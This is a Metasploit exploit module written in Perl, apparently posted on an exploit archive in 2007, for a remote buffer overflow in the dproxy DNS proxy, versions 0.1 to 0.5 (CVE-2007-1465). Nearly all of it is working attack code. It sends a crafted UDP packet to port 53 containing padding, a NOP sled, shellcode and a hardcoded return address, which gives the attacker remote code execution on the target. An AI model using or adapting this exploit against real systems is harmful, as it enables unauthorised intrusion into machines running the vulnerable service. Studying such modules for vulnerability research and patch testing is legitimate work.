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dproxy.pm.txt

Posted on 24 March 2007

# MetaSploit exploit for remote buffer overflow issue in dproxy
# Written in 2007 by Alexander Klink
# (c) 2007 Cynops GmbH
# released under the same license as MSF (Artistic, GPL dual-licensed)
# $Revision: 1.1 $

package Msf::Exploit::dproxy;
use strict;
use base 'Msf::Exploit';
use Msf::Socket::Udp;
use Pex::Text;

my $advanced = { };

my $info = {
'Name'     => 'dproxy v0.1 - v0.5 buffer overflow exploit',
'Version'  => '$Revision: 1.1 $',

'Authors' => [ 'Alexander Klink, Cynops GmbH', ],
'Arch'    => [ 'x86' ],
'OS'      => [ 'linux'],
'Priv'    => 0,

'UserOpts'  => {
'RHOST' => [1, 'ADDR', 'The target address'],
},
'Payload' => {
'Space'     => 500,
'BadChars'  => "x00",
},
'Description'  => Pex::Text::Freeform(qq{
This exploits a buffer overflow in dproxy version 0.1 to 0.5.
}),
'Refs' => [
[ 'CVE', '2007-1465' ],
],

'DefaultTarget' => 0,
'Targets' => [
['Linux', 0xbfffe480],
],
'Keys' => [ 'dproxy' ],
'DisclosureDate' => 'Mar 20 2007',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new(
{
'Info'     => $info,
'Advanced' => $advanced
}, @_
);

return $self;
}

sub Exploit {
my $self = shift;

my $targetHost     = $self->GetVar('RHOST');
my $targetPort     = 53;
my $targetIndex    = $self->GetVar('TARGET');
my $srcPort        = $self->GetVar('CPORT');
my $encodedPayload = $self->GetVar('EncodedPayload');
my $shellcode      = $encodedPayload->Payload;
my $target         = $self->Targets->[$targetIndex];

if (! $self->InitNops(512)) {
$self->PrintLine("Could not initialize the nop module");
return;
}
my $sock = Msf::Socket::Udp->new(
'PeerAddr'  => $targetHost,
'PeerPort'  => $targetPort,
'LocalPort' => $srcPort,
);
if($sock->IsError) {
$self->PrintLine('Error creating socket: ' . $sock->GetError);
return;
}

$self->PrintLine('Trying ' . $target->[0] . ' (' . $targetHost . ')');

my $evil = 'A' x 1000 . $self->MakeNops(500) . $shellcode
. 'A' x (2073 - 1500 - length($shellcode)) . pack('V', $target->[1]);

$sock->Send($evil);

return;
}

1;

 

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